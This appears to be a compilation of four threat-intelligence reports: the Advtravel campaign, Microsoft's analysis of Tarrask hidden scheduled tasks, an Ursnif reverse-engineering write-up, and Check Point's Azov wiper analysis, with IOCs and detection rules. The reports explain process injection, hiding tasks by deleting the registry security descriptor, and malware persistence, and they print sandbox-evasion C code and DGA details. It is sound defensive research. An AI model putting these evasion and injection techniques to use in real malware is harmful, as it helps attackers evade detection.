Ongoing Operation Advtravel differed from Operation Arid Viper in terms of the malware used, their chosen victims, and attribution information. But it does bear certain similarities to Operation Arid Viper that we believe merits its addition to this paper. The cybercriminals behind this campaign may have some ties with the threat actors behind Operation Arid Viper.
While conducting our investigation, we came across an Advtravel C&C server that shared the same infrastructure with Operation Arid Viper.
An analysis of December 2014 data shows that Advtravel’s C&C server directory could be publicly accessed. This allowed us to download copies of its entire content to study as part of our investigation before its owners realized their mistake and locked it down.
The advtravel.info directory had several files and folders. Although we were not able to exhaustively analyze every file on it, details on its most interesting components are highlighted below:
- B1312.zip: This is a 1.4GB compressed backup of all of the other files on the C&C server.
- /apps/: This main directory contains stolen victim data, along with several PHP scripts that uploaded it to the server.
## Victims
The Advtravel server has more than 500 infected systems. All of the stolen details found on it have been backed up for evidence. Most of the data have been analyzed to get an idea as to who have been victimized by the campaign. Some observations made include:
- The majority of victims appeared to be Arabs from Egypt.
- All of the infected systems appeared to be personal laptops, judging by the presence of a battery indicator in screenshots.
## Conclusion
The malware campaigns—Operation Arid Viper and Advtravel—discussed in detail in this paper are separate but closely linked. Operation Arid Viper targets specific Israeli organizations, including some high-profile victims, using a network infrastructure in Germany with several strong ties to Gaza in Palestine.
However, based on IP address logins, we again saw connections to the Gaza Strip. While the two campaigns shared infrastructure, their tactics could not be further apart. Operation Arid Viper is a sophisticated campaign targeting key individuals in organizations in order to exfiltrate sensitive data.
Yet it remains intriguing to note the close ties between Operations Arid Viper and Advtravel, apart from signs of Arabic heritage. We cannot know for sure if the people behind the campaigns operate as separate groups or as individuals though we suspect they are part of a larger organization.
Trend Micro will always continue to uncover such threats in order to make the world safe for the exchange of digital information. |
# Tarrask Malware Uses Scheduled Tasks for Defense Evasion
As Microsoft continues to track the high-priority state-sponsored threat actor HAFNIUM, new activity has been uncovered that leverages unpatched zero-day vulnerabilities as initial vectors. The Microsoft Detection and Response Team (DART), in collaboration with the Microsoft Threat Intelligence Center (MSTIC), identified a multi-stage attack targeting the Zoho Manage Engine Rest API authentication bypass vulnerability to initially implant a Godzilla web shell with similar properties detailed by the Unit42 team in a previous blog.
Microsoft observed HAFNIUM from August 2021 to February 2022, targeting those in the telecommunication, internet service provider, and data services sector, expanding on targeted sectors observed from their earlier operations conducted in Spring 2021. Further investigation reveals forensic artifacts of the usage of Impacket tooling for lateral movement and execution and the discovery of a defense evasion malware called Tarrask that creates “hidden” scheduled tasks, and subsequent actions to remove the task attributes, to conceal the scheduled tasks from traditional means of identification.
The blog outlines the simplicity of the malware technique Tarrask uses, while highlighting that scheduled task abuse is a very common method of persistence and defense evasion—and an enticing one, at that. In this post, we will demonstrate how threat actors create scheduled tasks, how they cover their tracks, how the malware’s evasion techniques are used to maintain and ensure persistence on systems, and how to protect against this tactic.
## Right on Schedule: Maintaining Persistence via Scheduled Tasks
Windows Task Scheduler is a service that allows users to perform automated tasks (scheduled tasks) on a chosen computer for legitimate administrative purposes (e.g., scheduled updates for browsers and other applications). Throughout the course of our research, we’ve found that threat actors commonly make use of this service to maintain persistence within a Windows environment.
We’ve noted that the Tarrask malware generates several artifacts upon the creation of a scheduled task, whether using the Task Scheduler GUI or the schtasks command line utility. Profiling the use of either of these tools can aid investigators in tracking this persistence mechanism.
The following registry keys are created upon creation of a new task:
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TASK_NAME
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}
The first subkey, created within the Tree path, matches the name of the scheduled task. The values created within it (Id, Index, and SD) contain metadata for task registration within the system. The second subkey, created within the Tasks path, is a GUID mapping to the Id value found in the Tree key. The values created within (Actions, Path, Triggers, etc.) contain the basic parameters necessary to facilitate execution of the task.
To demonstrate the value in the artifacts generated, we have created “My Special Task” which is set to execute the binary “C:\Windows\System32\calc.exe” on a regular interval. Similar information is also stored within an extensionless XML file created within C:\Windows\System32\Tasks, where the name of the file matches the name of the task. This is displayed in the example where we name the task “My Special Task.”
Note that the “Actions” value stored within the Tasks\{GUID} key points to the command line associated with the task. The fact that this value is stored within two different locations can prove useful in recovering information regarding the task’s purpose in the event the threat actor has taken steps to cover their tracks.
Finally, there are two Windows event logs that record actions related to the creation and operation of Scheduled Tasks – Event ID 4698 within the Security.evtx log, and the Microsoft-Windows-TaskScheduler/Operational.evtx log. Neither of these are audited by default and must be explicitly turned on by an administrator. Microsoft-Windows-TaskScheduler/Maintenance.evtx will exist by default, but only contains maintenance-related information for the Task Scheduler engine.
## Effectively Hiding Scheduled Tasks
In this scenario, the threat actor created a scheduled task named “WinUpdate” via HackTool:Win64/Tarrask in order to re-establish any dropped connections to their command and control (C&C) infrastructure. This resulted in the creation of the registry keys and values described in the earlier section; however, the threat actor deleted the SD value within the Tree registry path.
In this context, SD refers to the Security Descriptor, which determines the users allowed to run the task. Interestingly, removal of this value results in the task “disappearing” from “schtasks /query” and Task Scheduler. The task is effectively hidden unless an examiner manually inspects the aforementioned registry paths.
Issuing a “reg delete” command to delete the SD value will result in an “Access Denied” error even when run from an elevated command prompt. Deletion must occur within the context of the SYSTEM user. It is for this reason that the Tarrask malware utilized token theft to obtain the security permissions associated with the lsass.exe process. Upon execution of the token theft, the malware could operate with the same privileges as LSASS, making the deletion possible.
It is also important to note that the threat actor could have chosen to completely remove the two registry keys within Tree and Tasks, and the XML file created within C:\Windows\System32\Tasks. This would effectively remove the on-disk artifacts associated with the scheduled task, but the task would continue to run according to the defined triggers until the system rebooted, or until the associated svchost.exe process responsible for executing the task was terminated. It’s possible the threat actor wanted to ensure persistence across reboots and therefore chose not to perform those steps, instead deleting only the SD value; however, we also speculate that the threat actor was unaware that the task would continue to run even after these components were removed.
## Recommendations and Cyber Resilience Guidance
Job or task schedulers are services that have been present in the Windows operating system for many years. The attacks we described signify how the threat actor HAFNIUM displays a unique understanding of the Windows subsystem and uses this expertise to mask activities on targeted endpoints to maintain persistence on affected systems and hide in plain sight.
As such, we recognize that scheduled tasks are an effective tool for adversaries to automate certain tasks while achieving persistence, which brings us to raising awareness about this oft-overlooked technique. We also want to bring attention to the fact that threat actors may utilize this method of evasion to maintain access to high-value targets in a manner that will likely remain undetected. This could be especially problematic for systems that are infrequently rebooted (e.g., critical systems such as domain controllers, database servers, etc.).
The techniques used by the actor and described in this post can be mitigated or detected by adopting the following recommendations and security guidelines:
- Enumerate your Windows environment registry hives looking in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree registry hive and identify any scheduled tasks without SD (security descriptor) Value within the Task Key. Perform analysis on these tasks as needed.
- Modify your audit policy to identify Scheduled Tasks actions by enabling logging “TaskOperational” within Microsoft-Windows-TaskScheduler/Operational. Apply the recommended Microsoft audit policy settings suitable to your environment.
- Enable and centralize the following Task Scheduler logs. Even if the tasks are ‘hidden’, these logs track key events relating to them that could lead you to discovering a well-hidden persistence mechanism:
- Event ID 4698 within the Security.evtx log
- Microsoft-Windows-TaskScheduler/Operational.evtx log
The threat actors in this campaign used hidden scheduled tasks to maintain access to critical assets exposed to the internet by regularly re-establishing outbound communications with C&C infrastructure. Remain vigilant and monitor uncommon behavior of your outbound communications by ensuring that monitoring and alerting for these connections from these critical Tier 0 and Tier 1 assets is in place.
## Indicators of Compromise (IOCs)
The following list provides IOCs observed during our investigation. We encourage customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.
| SHA256 | File Name | Details |
|--------|-----------|---------|
| 54660bd327c9b9d60a5b45cc59477c75b4a8e2266d988da8ed9956bcc95e6795 | winupdate.exe, date.exe, win.exe | Tarrask |
| a3baacffb7c74dc43bd4624a6abcd1c311e70a46b40dcc695b180556a9aa3bb2 | windowsvc.exe, winsrv.exe, WinSvc.exe, ScriptRun.exe, Unique.exe, ngcsvc.exe, ligolo_windows_amd64.exe, proxy.zip, wshqos.exe, cert.exe, ldaputility.exe | Ligolo |
| 7e0f350864fb919917914b380da8d9b218139f61ab5e9b28b41ab94c2477b16d | CertCert.jsp, Cert0365.jsp | Godzilla web shell |
## Microsoft 365 Defender Detections
How customers can identify this in Microsoft 365 Defender:
- Microsoft Defender Antivirus detects implants and components as the following:
- HackTool:Win64/Tarrask!MSR
- HackTool:Win64/Ligolo!MSR
- Microsoft Defender for Endpoint detects malicious behavior observed as the following:
- Behavior:Win32/ScheduledTaskHide.A
## Microsoft Sentinel Detections
Microsoft Sentinel customers can use the following detection queries to look for this activity:
- Tarrask malware hash IOC: This query identifies a hash match related to Tarrask malware across various data sources.
- Scheduled Task Hide: This query uses Windows Security Events to detect attempts by malware to hide the scheduled task by deleting the SD (Security Descriptor) value. Removal of SD value results in the scheduled task “disappearing” from “schtasks /query” and Task Scheduler.
- Microsoft Defender AV Hits: This query looks for Microsoft Defender AV detections related to Tarrask malware using the SecurityAlerts table. In Microsoft Sentinel, the SecurityAlerts table includes only the Device Name of the affected device; this query joins the DeviceInfo table to clearly connect other information such as Device group, IP, logged on users, etc. This way, the Microsoft Sentinel user can have all the pertinent device info in one view for the alerts.
The technical information contained in this article is provided for general informational and educational purposes only and is not a substitute for professional advice. Accordingly, before taking any action based upon such information, we encourage you to consult with the appropriate professionals. We do not provide any kind of guarantee of a certain outcome or result based on the information provided. Therefore, the use or reliance of any information contained in this article is solely at your own risk. |
# Ursnif Malware: Deep Technical Dive
In this blog, I explain some of the core methods an attack tool named Ursnif uses, as well as mention some, probably unintentional, pieces of code that were left behind in the production version of the malware.
Ursnif is a data stealer and a downloader with a lot of abilities to steal data from installed browsers and other applications (such as Microsoft Outlook). In addition to stealing data, Ursnif also has the ability to download additional malicious components from the attacker’s Command & Control (C&C) servers and load them dynamically into memory. In this version of Ursnif, I have also encountered an internal peer-to-peer communication which could possibly add the ability for the sample to communicate with other Ursnif peers over the same network. We will discuss the peer-to-peer part in a future blog post.
## It All Begins With An Executable
When the Ursnif executable is first loaded, it will unpack the real payload. The real payload is packed by the attackers because it helps keep it undetected by security solutions which are based on a file signature. After the real payload is unpacked, it will run in a hollowed process, and even at that stage of unpacking, the .BSS section is still obfuscated and will be de-xored on runtime before the malware will continue with the execution.
Afterward, there is a simple check the malware authors left behind. If the file `C:\321.txt` exists, the checks for a virtualized environment are ignored. This was most probably developed in order to allow the attackers to test their tool on their own virtualized machines. Even though it is quite funny that the attackers left this piece of code in a production compilation, it might show how careless they are. Basically, if anyone else would like to test Ursnif on a virtual machine, they can just create a file with that name at that location and the malware will work properly with no need to change the virtual machine’s configurations.
Next, the malware will make sure that all of the users on the machine are infected by enumerating the registry root key `HKU` and for each user key, it will put an appropriate startup value, as well as the payload on each AppData folder of each user. Registry Keys used:
- `HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\AppData`
(Value equals the folder to be used for the malware, for example: `C:\Users\Administrator\Appdata\Roaming\`)
After this procedure, we move on to the injection method.
## And It Continues With Another Executable To Be Injected
In the second part, the malware will look for a legitimate process to run in its context. Running in a different process context allows the malware to bypass firewall rules which let some processes through without alerting or blocking them. Internally, the malware calculates a unique checksum for each process name it finds, in order to obfuscate the processes into which it will try to inject itself. Instead of injecting to `explorer.exe`, for example, a checksum will be calculated, resulting in something like `0x17F9B5AA`. Then, it will check if that value matches a value from an internal list of checksums, and only if it exists in that list, it will begin the injection method on that process.
Let’s examine a pseudo code (as simple as possible) of how the first part of the injection looks:
```c
/* Obtain the process pid to inject to */
dwPID = GetInjectProcess()
hProcess = OpenProcess(dwPID, ...)
pAddress = GetProcAddress("ntdll.dll", "RtlExitUserThread")
/* Create remote thread in suspended mode */
hThread = CreateRemoteThread(hProcess, /* Remote process handle */
CREATE_SUSPENDED, /* creation flags */
pAddress, /* thread function address */
...)
```
- Open a handle to the desired process.
- Get the address of `ntdll!RtlExitUserThread` function.
- Create a remote suspended thread with the appropriate function.
- Obtain the first four bytes of the function as a backup (because in the upcoming steps, they will be overwritten).
- Before we overwrite the bytes, we must change the protection flags of the memory so it will be writable.
- Write four bytes `(DWORD)(0xCCCCFEEB)`. This is the interesting part; changing the original function prologue this way will result in an infinite loop.
Let’s examine the function before and after the changes:
Before:
```
ntdll!RtlExitUserThread:
77dc1000 8bff mov edi,edi
77dc1002 55 push ebp
77dc1003 8bec mov ebp,esp
77dc1005 83e4f8 and esp,0FFFFFFF8h
77dc1008 81ecbc000000 sub esp,0BCh
```
After:
```
ntdll!RtlExitUserThread:
77dc1000 ebfe jmp ntdll!RtlExitUserThread (77dc1000)
77dc1002 cc int 3
77dc1003 cc int 3
77dc1004 ec in al,dx
77dc1005 83e4f8 and esp,0FFFFFFF8h
77dc1008 81ecbc000000 sub esp,0BCh
```
After the change, the new values assigned to the function prologue are translated to `JMP <Short>`, which is a two-byte opcode. The first byte (`0xEB`) is what translated the processor to recognize it as a `JMP` opcode, and it will also expect the second byte to be the value of where to jump to (relatively from the EIP at the end of the opcode). The second byte we have in this scenario is `0xFE`, which translates to (-2). Jumping relatively from the end of the opcode (address `0x77dc1002`) -2 bytes, will make the EIP get back to address `0x77dc1000`, which is the same opcode again. This will result in an infinite loop of one opcode.
After this change, the thread is resumed until its EIP of the newly created thread reaches the `ntdll!RtlExitUserThread` address, then the thread is set to suspended mode again. The reason all this procedure is happening is because when a thread is created, it doesn’t immediately start at the function given; it requires some initialization functions to be called first, so the original code is waiting for the initialization to complete and then it has a post-initialized thread which it can take control of its EIP without worrying.
Thereafter, the thread is suspended again, and the function's original 4 bytes are restored. The new PE itself is injected with `NtCreateSection` and `NtMapViewOfSection`, for mapping the new PE to the malware’s memory ending with `SetThreadContext`, which allows us to change the registers value, specifically EIP – to the newly created entry point of the remote process following `ResumeThread`.
As we’ve seen before, attackers are building techniques into their tools in order to evade detection by security solutions. One of the techniques exploits sandbox weaknesses by using different sleeping mechanisms. Sandboxing solutions usually run malware samples only for about 2-3 minutes before they move on to the next sample they have in queue. The reason is simply because those kinds of solutions are required to keep up with analyzing hundreds of thousands of samples every day. Therefore, for a sandbox, time is a very precious resource. Basically, this means that if malware can stay dormant for this period of time, the sandbox will not recognize its behavior as malicious and will move to the next sample in queue.
Ursnif has recently evolved and changed the sleeping mechanism, trying to evade detection through a unique sleeping API. Earlier versions used `Sleep`, `WaitForSingleObject`, `WaitForMultipleObjects`, or similar APIs. Nowadays, a different method is coming in hand, relative sleeping using Windows timers. Here is a code example of how to use the Timers API:
```c
#include <windows.h>
#include <tchar.h>
/* Definitions */
#define SLEEP_TIME (5) /* In seconds */
/* Macros */
#define NANOSECONDS(nanos) \
(((signed __int64)(nanos)) / 100L)
#define MICROSECONDS(micros) \
(((signed __int64)(micros)) * NANOSECONDS(1000L))
#define MILLISECONDS(milli) \
(((signed __int64)(milli)) * MICROSECONDS(1000L))
#define SECONDS(seconds) \
(((signed __int64)(seconds)) * MILLISECONDS(1000L))
/* Enumerations */
typedef enum _E_CODE
{
E_FAILURE = -1,
E_SUCCESS = 0,
E_TIMER_CREATION,
E_SET_TIMER,
E_WAIT_EVENT,
} E_CODE;
E_CODE SleepingMechanism(DWORD dwSleepTime)
{
/* Initializations */
HANDLE hTimer = NULL;
E_CODE tRetVal = E_FAILURE;
FILETIME ftSystemTime = { 0 };
LARGE_INTEGER liSystemTime = { 0 };
DWORD dwWaitResult = 0;
/* Create unnamed timer */
hTimer = CreateWaitableTimer(NULL, FALSE, NULL);
if (NULL == hTimer)
{
_tprintf(TEXT("CreateWaitableTimer failure: [%d]\n"), GetLastError());
tRetVal = E_TIMER_CREATION;
goto lblCleanUp;
}
/* Get system time */
GetSystemTimeAsFileTime(&ftSystemTime);
/* Add relative time from current time to sleep */
liSystemTime.HighPart = ftSystemTime.dwHighDateTime;
liSystemTime.LowPart = ftSystemTime.dwLowDateTime;
liSystemTime.QuadPart += SECONDS(dwSleepTime);
/* Set timer with an absolute time to sleep */
if (!SetWaitableTimer(hTimer, &liSystemTime, 0, NULL, NULL, FALSE))
{
_tprintf(TEXT("Failed creating waitable timer: [%d]"), GetLastError());
tRetVal = E_SET_TIMER;
goto lblCleanUp;
}
/* Waiting for the timer event*/
_tprintf(TEXT("Sleeping for [%d] seconds\n"), dwSleepTime);
dwWaitResult = WaitForSingleObject(hTimer, INFINITE);
if (WAIT_OBJECT_0 != dwWaitResult)
{
_tprintf(TEXT("WaitForSingleObject failed: [%d]"), dwWaitResult);
tRetVal = E_WAIT_EVENT;
}
/* Success */
tRetVal = E_SUCCESS;
lblCleanUp:
if (NULL != hTimer)
{
CloseHandle(hTimer);
hTimer = NULL;
}
return tRetVal;
}
INT _tmain(DWORD dwArgc, LPTSTR *lpszArgv)
{
E_CODE tRetVal = E_FAILURE;
tRetVal = SleepingMechanism(SLEEP_TIME);
if (E_SUCCESS != tRetVal)
_tprintf(TEXT("Failure: [%d]"), (DWORD)tRetVal);
else
_tprintf(TEXT("Success\n"));
return 0;
}
```
## The Additional Evasive Techniques and the DGA Flaw
Once the attacker tool is able to evade the sandbox, it will try to evade network security solutions which are based on communication pattern signatures. Let’s examine two such evasive techniques:
### Obfuscating the outbound traffic
The first data sent from the infected machine would start with the following string format:
```
soft=1&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x
```
After adding the values which represent the machine (will not be discussed in this blog post) to the format string, the malware will XOR the original value and move on to base64 encoding. Thereafter removing the “=” padding.
```
W+WIpnoUOvyD3ExoGOYmmDu0bmT8a0IQc2p7qTZymZCHt8eu27PEunoWst7LOJNxEVYBinB9iwNBQ6dP+msKM1eHuJg8mb5vu2siAOn72yyGQxwIDyVrNC1
```
Then adding “/” at random offsets of the string, following with changing every unique letter (which doesn’t match `[a-zA-Z0-9]`) to its hexadecimal format starting with “_”. For example, the letter “+” hex representation is `2B`, and the letter “/” hex representation is `2F`, so the output will end up looking like:
```
WWIpnoUOvyD3ExoGOYmmDu0bmT8a0IQc2p7qTZymZCHt8eu27PEunoWst7LOJNxEVYBinB9iwN_2FBQ6dP_2BmsKM1eHuJg_2F8mb5vu2siAOn72yyGQxwI
```
Finally, there is a second call to the function, adding the “/” slash character at random offsets and then the string is complete.
```
W_2BWIpn_2FoUOvyD3ExoGO/YmmDu0bmT8/a0IQc2p7qTZymZCHt/8eu27PEunoWs/t7LOJNxEVYB/inB9iwN_2FBQ6d/P_2BmsKM1eHuJg_2F8mb5/vu2s
```
This is sent to the C&C server with the following format:
```
<Domain>/images/<CraftedBase64Url>.gif
```
where the `<Domain>` will be chosen by the DGA algorithm, and the `<CraftedBase64Url>` is what was just created.
### Domain Generation Algorithm (DGA)
When I first reverse engineered the DGA and tried to recreate it using Python, for some reason my code didn’t work as expected and I got different results compared to the actual domains used by the attackers. When I reversed everything slowly and made sure my code does exactly what it is supposed to – I found out that they have some logical flaw in the code. Whether this was intentional or not, I will let you be the judge. But I am pretty sure it was unintentional. Let’s see what exactly is going on in there step by step:
1. Download a predefined wordlist from an online text file. In Python that would be as easy as using `urllib2.urlopen`.
2. Obtain all the words that are at least 3 letters long. In Python that would be: `re.findall("[a-zA-Z]{3,}", data)`.
3. Add a null termination (`0x00`) after every word that matched, in the original buffer.
4. Override the original data with the matching words, after every word add a space bar.
(Author comments: This is necessarily shorter than the original buffer so it should work, however in general this is very bad code practice.)
5. Create the domain using the strings in the buffer list of Step Three.
### The ‘bug’ in action
Now, the problem exists at Step Four. Let’s take a look at the assembly:
To understand the problem better, let’s have a dummy buffer to demonstrate the issue.
```
Match-Another se cu DEADBEEF le rt
```
Applying the regex from Step Two would result in the following word list:
```
["Match", "Another", "DEADBEEF"]
```
Adding the null termination on the original string will make it look like:
```
Match\x00Another\x00se cu DEADBEEF\x00le rt
```
After that, we are going to copy each of those strings, override the original buffer with them, and add a space bar right after. This should result in the matching strings being one after another ordered in that buffer. However, the first copy is the reason for the problem. We are first of all copying the original word over itself using `lstrcpy`, resulting in the same buffer.
```
Match\x00Another\x00se cu DEADBEEF\x00le rt
```
But after that, we are using `lstrcat` to add a space after the word. The MSDN documentation of `lstrcat` states:
“lpString1 must be large enough to add lpString2 and the closing ‘\0’,” which means that there are going to be two more bytes added! One of them is the space, and the other one is the null termination coming right after, resulting in the following problem:
```
Match \x00nother\x00se cu DEADBEEF\x00le rt
```
As you can see, it overwrote some of the next word, which will eventually make it “lose” one of the words in the list, making the whole wordlist short by one, essentially affecting all of the DGA.
(Author Comments: I believe the malware authors have no idea they have such a bug in their code because they are probably using the exact same piece of code to know which domains they should buy.)
After I successfully reversed the DGA algorithm and could recreate it myself, we sinkholed one of the generated domains for the next domains cycle, and managed to find pretty interesting statistics about this family over a period of 5 days:
### DGA Characteristics
- **Type**: Dictionary based
- **Seed**: Current date
- **Change frequency**: 5 days period
- **Domains Per Cycle**: 15
- **Top level domains**: .ru, .xyz, .club
- **Total infected machines**: 6,893
On the analyzed sample, the DGA’s dictionary (word list) is generated from this URL:
`http://opensource.apple.com/source/Security/Security-29/SecureTransport/LICENSE.txt`
The interesting part of this DGA is the fact it can change the file from which the wordlist is generated, thus making it very easy to create different versions of the DGA for different purposes.
### An example of actual domains generated from the dictionary:
- thiscrevmscllevelfak.club
- levelignorethenind.ru
- mtabaddresslocked.xyz
- consseriflistyleleft.club
- aresymbolparamspan.ru
- respondslemsonmsonum.club
- senddatalistenpython.xyz
- numfalseandyspan.ru
- maxsemihiddenmsosymbol.club
- cllockedlevelnbsple.club
- nbspserliststthelist.xyz
- symbolcontacttype.ru
- intoaddedprio.ru
- stylesendnblisprestval.xyz
- indentlspthatmcan.ru
### Analyzed Samples:
- 9b38f10fd425b37115c81ad07598d930
- b60c97d22f0ae301e916d61f79162b78
- f50bd1585f601d41244c7e525b8bd96a |
# Pulling the Curtains on Azov Ransomware: Not a Skidsware but Polymorphic Wiper
**Research by:** Jiri Vinopal
## Highlights
- Check Point Research (CPR) provides under-the-hood details of its analysis of the infamous Azov Ransomware.
- Investigation shows that Azov is capable of modifying certain 64-bit executables to execute its own code.
- Azov is designed to inflict impeccable damage to the infected machine it runs on.
- CPR sees over 17K of Azov-related samples submitted to VirusTotal.
## Introduction
During the past few weeks, we have shared the preliminary results of our investigation of the Azov ransomware on social media, as well as with Bleeping Computer. The below report goes into more detail regarding the internal workings of Azov ransomware and its technical features.
## Background & Key Findings
Azov first came to the attention of the information security community as a payload of the SmokeLoader botnet, commonly found in fake pirated software and crack sites. One thing that sets Azov apart from your garden-variety ransomware is its modification of certain 64-bit executables to execute its own code. Before the advent of the modern-day internet, this behavior used to be the royal road for the proliferation of malware; because of this, to this day, it remains the textbook definition of “computer virus.” The modification of executables is done using polymorphic code, so as not to be potentially foiled by static signatures, and is also applied to 64-bit executables, which the average malware author would not have bothered with.
This aggressive polymorphic infection of victim executables has led to a deluge of publicly available files infected with Azov. Every day, hundreds of new Azov-related samples are submitted to VirusTotal, which as of November 2022, has already exceeded 17,000. Using a hand-crafted query, it is possible to search for only proper Azov samples, without the trojanized binaries.
**VirusTotal query to search for Azov-related samples:**
```
(behaviour:'Local\\Kasimir_*' OR behaviour:'Local\\azov') AND (behaviour_files:'RESTORE_FILES' OR behaviour_registry:'rdpclient.exe')
```
**VirusTotal query to search for only proper Azov samples, without the trojanized binaries:**
```
(behaviour:'Local\\Kasimir_*' OR behaviour:'Local\\azov') AND (behaviour_files:'RESTORE_FILES' OR behaviour_registry:'rdpclient.exe') AND detectiteasy:"Compiler: FASM*"
```
The abundance of samples has allowed us to distinguish two different versions of Azov, one older and one slightly newer. These two versions share most of their capabilities, but the newer version uses a different ransom note, as well as a different file extension for destroyed files (.azov).
The text on the left is remarkable for its stealth delivery of various Kremlin talking points (in particular, the threat of nuclear war).
## Technical Analysis: Highlights
- Manually crafted in assembly using FASM.
- Using anti-analysis and code obfuscation techniques.
- Multi-threaded intermittent overwriting (looping 666 bytes) of original data content.
- Polymorphic way of backdooring 64-bit “.exe” files across the compromised system.
- “Logic bomb” set to detonate at a certain time. The sample analyzed below was set to detonate at 10-27-2022 10:14:30 AM UTC.
- No network activity and no data exfiltration.
- Using the SmokeLoader botnet and trojanized programs to spread.
- Effective, fast, and unfortunately unrecoverable data wiper.
## Full Technical Analysis
We focus on the original sample of the newer Azov version (SHA256: 650f0d694c0928d88aeeed649cf629fc8a7bec604563bca716b1688227e0cc7e). This is a 64-bit portable executable file that has been assembled with FASM (flat assembler), with only 1 section .code (r+x), and without any imports.
When we think of a person writing code directly in assembly language, we think of a vulnerability researcher carefully piecing together a payload, a hard-boiled engineer creating a real-time application, or maybe an undergraduate student undergoing a rite of passage. We certainly do not immediately think of a ransomware author creating ransomware.
The .code section has three parts, which are most easily seen by looking at its entropy. First, there is a high-entropy part containing the encrypted shellcode. It is followed by plain code implementing the unpacking routine, and then the last part, with very low entropy, appears to consist of plain strings used to construct the ransom note.
### Unpacking Routine
As the whole code of Azov is assembly manually crafted for the purpose of being obtuse, it is necessary to do some IDA magic and cleanup to shape the code into a state where it can be decompiled and understood. Once this is done, the procedure start_0() becomes visible. This code unpacks shellcode into newly allocated memory and then transfers execution to it.
The unpacking routine in the function AllocAndDecryptShellcode() is intentionally created to look more sophisticated than it is. But in reality, it is a simple seeded decryption algorithm using a combination of xor and rol, where key = 0x15C13.
We provide below a Python implementation of the simplified routine logic:
```python
import pefile, malduck
pe = pefile.PE('Azov_Ransomware.exe')
encrypted_shellcode = pe.sections[0].get_data()[5:0x4615+5]
decrypted_shellcode = bytearray(encrypted_shellcode)
key = 0x15C13
for j in range(0x3FDF,-1,-1):
decrypted_shellcode[j] ^= malduck.BYTE(key)
key = malduck.rol(key + 0x92819200, 1, 32)
print(decrypted_shellcode)
```
The next stage is split into two main routines: one in charge of wiping files and the other in charge of backdooring executables.
### Wiping Routine
The wiping routine begins by creating a mutex (Local\\azov) to verify that two instances of the malware are not running concurrently. If the mutex handle is successfully obtained, Azov creates persistence by trojanizing (similar to the backdooring routine) the 64-bit Windows system binary msiexec.exe or perfmon.exe and saving it as rdpclient.exe. A registry entry at SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run is created pointing to the newly created file.
The wiping procedure uses a trigger time – there is a loop where the analyzed sample checks system time, and if it is not equal to or larger than the trigger time, it sleeps 10s and loops again. Regarding the analyzed sample, the trigger time was 10/27/2022 at 10:14:30 AM UTC.
Once this logic bomb triggers, the wiper logic iterates over all machine directories and executes the wiping routine on each one, avoiding certain hard-coded system paths and file extensions.
Each file is wiped “intermittently,” by which we mean a block of 666 bytes is overwritten with random noise, then an identically-sized block is left intact, then a block is overwritten again, and so on — until the hard limit of 4GB is reached, at which point all further data is left intact. As a random source, the sample uses an uninitialized local variable (e.g., char buffer[666];) which in practice means random stack memory content.
Once the wiping is finished, the new file extension .azov is added to the original filename.
### Backdooring Routine
Before traversing the filesystem to search for files to be backdoored, a mutex named Local\\Kasimir_%c is created, with the %c replaced with the letter of the drive being processed. The function TryToBackdoorExeFile() is responsible for backdooring 64-bit “.exe” files that meet certain conditions.
These specific conditions could be simplified as follows:
1. Pre-processing conditions:
- It is not a part of the exclude list of filesystem locations.
- The file extension is “.exe”.
- The file size is less than 20MB.
2. Processing conditions:
- The file is a 64-bit executable file.
- The PE section containing the Entry Point has enough space for the shellcode implant to be injected in the way of preserving the original Entry Point of PE (the shellcode start address will be placed at the address of the original Entry Point).
- File size == PE size (PE size is manually calculated).
Once the file meets all pre-processing and processing conditions, it is considered suitable for backdooring and pushed to function BackdoorExeFile().
The function BackdoorExeFile() is responsible for the polymorphic backdooring of executable files. It first obtains the address of the original code section (usually the .text section) and randomly modifies its content in several locations. Before injecting the main blob of shellcode into the modified code section, certain constant values are changed, and the whole shellcode is re-encrypted with the same encryption algorithm and key as used during the unpacking of the malware.
Despite the polymorphic backdooring, the encryption/decryption algorithm used during the unpacking and backdooring is consistent and can be used for Azov detection.
### Anti-analysis and Code Obfuscation Techniques
- Preventing usage of software breakpoints.
- Opaque constants.
- Syntactic confusion.
- Dead (junk) code.
- Opaque predicates.
- Call-Return Abuse.
- Volatile Homebrew IAT.
## Conclusion
Although the Azov sample was considered skidsware when first encountered, when probed further one finds very advanced techniques — manually crafted assembly, injecting payloads into executables in order to backdoor them, and several anti-analysis tricks usually reserved for security textbooks or high-profile brand-name cybercrime tools. Azov ransomware certainly ought to give the typical reverse engineer a harder time than the average malware.
The only thing we can say with certainty, and what has been confirmed by all this analysis, is that Azov is an advanced malware designed to destroy the compromised system. Check Point customers remain protected from the threats described in this blog, including all its variants. Anti-Ransomware is offered as part of Harmony Endpoint, Check Point’s complete endpoint security solution.
## IOCs
**Original Azov samples**
- SHA256: b102ed1018de0b7faea37ca86f27ba3025c0c70f28417ac3e9ef09d32617f801 - The old version of Azov
- SHA256: 650f0d694c0928d88aeeed649cf629fc8a7bec604563bca716b1688227e0cc7e - The new version of Azov
**Yara**
```yara
import "pe"
rule ransomware_ZZ_azov_wiper {
meta:
description = "Detects original and backdoored files with new and old versions of azov ransomware - polymorphic wiper"
author = "Jiri Vinopal (jiriv)"
date = "2022-11-14"
hash_azov_new = "650f0d694c0928d88aeeed649cf629fc8a7bec604563bca716b1688227e0cc7e"
hash_azov_old = "b102ed1018de0b7faea37ca86f27ba3025c0c70f28417ac3e9ef09d32617f801"
strings:
$unpacking_azov_new = { ... }
$unpacking_azov_old = { ... }
condition:
uint16(0) == 0x5a4d and pe.is_64bit() and any of ($unpacking_azov_*)
}
```
## References
1. Twitter – Check Point Research
2. Bleeping Computer: Azov ransomware is a wiper destroying data 666 bytes at a time.
3. Bleeping Computer: New Azov data wiper tries to frame researchers and BleepingComputer.
4. Twitter – MalwareHunterTeam. |
